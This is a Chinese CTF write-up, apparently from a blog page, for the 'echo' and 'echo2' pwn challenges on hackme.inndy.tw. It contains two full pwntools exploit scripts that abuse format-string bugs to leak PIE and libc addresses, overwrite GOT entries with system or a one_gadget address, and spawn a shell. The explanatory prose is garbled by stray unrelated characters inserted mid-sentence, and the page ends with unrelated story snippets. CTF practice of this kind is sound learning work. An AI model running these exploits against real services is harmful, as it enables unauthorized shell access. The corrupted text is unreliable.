echo和echo2 writeup

echo

防護(hù)機(jī)制:

checksec

32位的開啟了NX的程序
ida反編譯一下:

ida

很明顯的一個(gè)格式化字符串漏洞,加上程序中存在system函數(shù)蜜猾,所以可以將printf_got覆蓋成system函數(shù)粉渠,再傳入"/bin/sh" 來getshell
這里我用了pwntools庫(kù)中的fmtstr_payload()函數(shù)

exp:

from pwn import*
context.log_level= "debug"

p = remote('hackme.inndy.tw',7711) 
#p = process('./echo')
elf = ELF('./echo')

system = elf.symbols['system']
printf_got = elf.got['printf']
bss = elf.bss()
offset = 7
payload = fmtstr_payload(offset,{printf_got : system}) # change the got of printf to system
p.send(payload)

p.send("/bin/sh\x00")
p.interactive()

結(jié)果:

shell

echo2

防護(hù)機(jī)制:

image.png

發(fā)現(xiàn)程序開啟了PIE
PIE:
是位置無關(guān)的可執(zhí)行程序,用于生成位置無關(guān)的可執(zhí)行程序,所謂位置無關(guān)的可執(zhí)行程序啊楚,指的是,可執(zhí)行程序的代碼指令集可以被加載到任意位置浑彰,進(jìn)程通過相對(duì)地址獲取指令操作和數(shù)據(jù)恭理,如果不是位置無關(guān)的可執(zhí)行程序,則該可執(zhí)行程序的代碼指令集必須放到特定的位置才可運(yùn)行進(jìn)程郭变。
但是低兩位字節(jié)是固定的颜价,可以通過這個(gè)泄露出程序基地址

ida反編譯:

image.png

發(fā)現(xiàn)這題的關(guān)鍵代碼和前面那道題很相似涯保,同樣是一個(gè)格式化字符串漏洞,同樣含有system函數(shù)周伦,但是這一題是64位的并且開啟了PIE的程序夕春,所以需要先泄露出程序的基地址

gdb調(diào)試一番:

image.png

格式化字符串位于棧上,并且相對(duì)偏移為7
查看棧上的內(nèi)容:

image.png

程序的棧上有printf函數(shù)的返回地址和一些其他函數(shù)的返回地址
所以可以通過泄露出printf函數(shù)的返回地址來計(jì)算出程序的基地址

program_base = leakmemory - offset

泄露__libc_start_main+240的地址來算出libc的基地址
通過在發(fā)送payload的語句后加一條gdb.attach(p)語句专挪,進(jìn)入調(diào)試界面及志,輸入vmmap命令,計(jì)算出libc_base 和 __libc_start_main+240的偏移寨腔,那就可以通過泄露出來的地址得到libc_base的地址了速侈,因?yàn)椴还躊IE它的地址怎么變,__lib_start_main的地址到libc_base的偏移是不會(huì)變的迫卢,同時(shí)可以得到__libc_start_main在libc中的偏移倚搬,通過這個(gè)偏移可以查到程序的libc的版本libsearch

libc_base = __libc_start_main +240 - offset
offset = __libc_start_main +240 - 0x7ffff7a0d000
libc_start_main_offset = offset - 240

image.png

查到libc的版本

image.png

有這么多 ,一般要再泄露多一個(gè)地址乾蛤,比較精準(zhǔn)潭枣,不過一個(gè)個(gè)試也可以,這里服務(wù)器用的libc版本是 9

獲取了lib版本后就可以開始下一步了幻捏,我沒有用system函數(shù)盆犁,我用one_gadget這個(gè)工具找到了execve("/bin/sh",null,environ)的偏移,然后將exit_got覆蓋成了one_gadget的地址篡九,因?yàn)閑xit也是libc庫(kù)中的函數(shù)谐岁,所以只要覆蓋低五位就可以了,我用"%hn"來改寫地址的內(nèi)容榛臼,一次修改兩個(gè)字節(jié)伊佃,改寫完后輸入"exit",就可以getshell

64位需要注意的是:

  1. 它的函數(shù)地址存在'\x00'截?cái)嗯嫔疲砸獙⒑瘮?shù)地址放到最后
  2. 控制好函數(shù)地址的相對(duì)偏移

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"

p = remote("hackme.inndy.tw",7712)
#p = process('./echo2')
elf = ELF('./echo2')
exit_got = elf.got['exit']

def memleak(offset):
    payload = '%' + str(offset) + "$p"
    p.sendline(payload)
    data = p.recv()[0:-1]
    print data
    data = int(data,16)
    return data

log.info("************leak program base address************")
_libc_csu_init = memleak(41)
p_add = _libc_csu_init - 0xa03
print "base address -->[%s]"%hex(p_add)


_libc_start_main_add = memleak(43) - 240
print "_libc_start_main_add -->[%s]"%hex(_libc_start_main_add)
_libc_start_main_offset = 0x20740
print "_libc_start_main_offset --> [%s] "%hex(_libc_start_main_offset)
libc_base = _libc_start_main_add - _libc_start_main_offset
print "libc_base --> [%s]"%hex(libc_base) 

one_gadget = 0xf0897#execve("/bin/sh",null,environ)
#one_gadget = 0xf02a4
print "one_gadget --> [%s]"%hex(one_gadget)
one_gadget_add = libc_base + one_gadget
print "on_gadget_add --> [%s]"%hex(one_gadget_add)

log.info("*********write execve address to exit_got*******")
exit_got = p_add + exit_got
print "exit_got --> [%s]"%hex(exit_got)
hex_one_gadget = hex(one_gadget_add)
add1 = str(int(int(hex_one_gadget[-4:],16))-19)
add2 = str(int(int(hex_one_gadget[-8:-4],16))-19)
add3 = str(int(int(hex_one_gadget[-12:-8],16))-19)

payload1 = "aaaaaaaaaaaaaaaaaaa%" + add1 + "c" + "%10$hn" + p64(exit_got)
payload2 = "aaaaaaaaaaaaaaaaaaa%" + add2 + "c" + "%10$hn" + p64(exit_got+2)
payload3 = "aaaaaaaaaaaaaaaaaaa%" + add3 + "c" + "%10$hn" + p64(exit_got+4)
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.send("exit\n")
p.interactive()

結(jié)果:

image.png

寫echo2的時(shí)候參考了大佬的writeup

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末航揉,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子金刁,更是在濱河造成了極大的恐慌帅涂,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,290評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件尤蛮,死亡現(xiàn)場(chǎng)離奇詭異媳友,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)产捞,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,107評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門醇锚,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人坯临,你說我怎么就攤上這事焊唬×抵纾” “怎么了?”我有些...
    開封第一講書人閱讀 156,872評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵赶促,是天一觀的道長(zhǎng)焰雕。 經(jīng)常有香客問我,道長(zhǎng)芳杏,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,415評(píng)論 1 283
  • 正文 為了忘掉前任辟宗,我火速辦了婚禮爵赵,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘泊脐。我一直安慰自己空幻,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,453評(píng)論 6 385
  • 文/花漫 我一把揭開白布容客。 她就那樣靜靜地躺著秕铛,像睡著了一般。 火紅的嫁衣襯著肌膚如雪缩挑。 梳的紋絲不亂的頭發(fā)上但两,一...
    開封第一講書人閱讀 49,784評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音供置,去河邊找鬼谨湘。 笑死,一個(gè)胖子當(dāng)著我的面吹牛芥丧,可吹牛的內(nèi)容都是我干的紧阔。 我是一名探鬼主播,決...
    沈念sama閱讀 38,927評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼续担,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼擅耽!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起物遇,我...
    開封第一講書人閱讀 37,691評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤乖仇,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后询兴,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體这敬,經(jīng)...
    沈念sama閱讀 44,137評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,472評(píng)論 2 326
  • 正文 我和宋清朗相戀三年蕉朵,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了崔涂。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,622評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡始衅,死狀恐怖冷蚂,靈堂內(nèi)的尸體忽然破棺而出缭保,到底是詐尸還是另有隱情,我是刑警寧澤蝙茶,帶...
    沈念sama閱讀 34,289評(píng)論 4 329
  • 正文 年R本政府宣布艺骂,位于F島的核電站,受9級(jí)特大地震影響隆夯,放射性物質(zhì)發(fā)生泄漏钳恕。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,887評(píng)論 3 312
  • 文/蒙蒙 一蹄衷、第九天 我趴在偏房一處隱蔽的房頂上張望忧额。 院中可真熱鬧,春花似錦愧口、人聲如沸睦番。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,741評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽托嚣。三九已至,卻和暖如春厚骗,著一層夾襖步出監(jiān)牢的瞬間示启,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工领舰, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留丑搔,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,316評(píng)論 2 360
  • 正文 我出身青樓提揍,卻偏偏與公主長(zhǎng)得像啤月,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子劳跃,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,490評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • 0x01 Start checksec 的時(shí)候可以看到程序沒有打開任何的安全保護(hù)措施谎仲,然后查看IDA下的匯編代碼,...
    Nevv閱讀 1,673評(píng)論 0 2
  • 一刨仑、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡(jiǎn)單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運(yùn)行的地址不確定 關(guān)于...
    SeanCST閱讀 7,784評(píng)論 0 27
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理郑诺,服務(wù)發(fā)現(xiàn),斷路器杉武,智...
    卡卡羅2017閱讀 134,629評(píng)論 18 139
  • 鳳綻放生命分享喜悅第三十五天:今天是5月2號(hào)星期二辙诞,上午在單位整理農(nóng)合賠案不知不覺就到了下班時(shí)間,回家做了簡(jiǎn)單的午...
    景鳳閱讀 339評(píng)論 0 0
  • 融不進(jìn)的圈子從不硬融轻抱,從不做讓自己后悔的事情飞涂,從不逼自己做不喜歡的事情,這就是我。 我不喜歡那些過于圓滑的人较店,總覺...
    尋找歐石楠的月半兔閱讀 104評(píng)論 0 1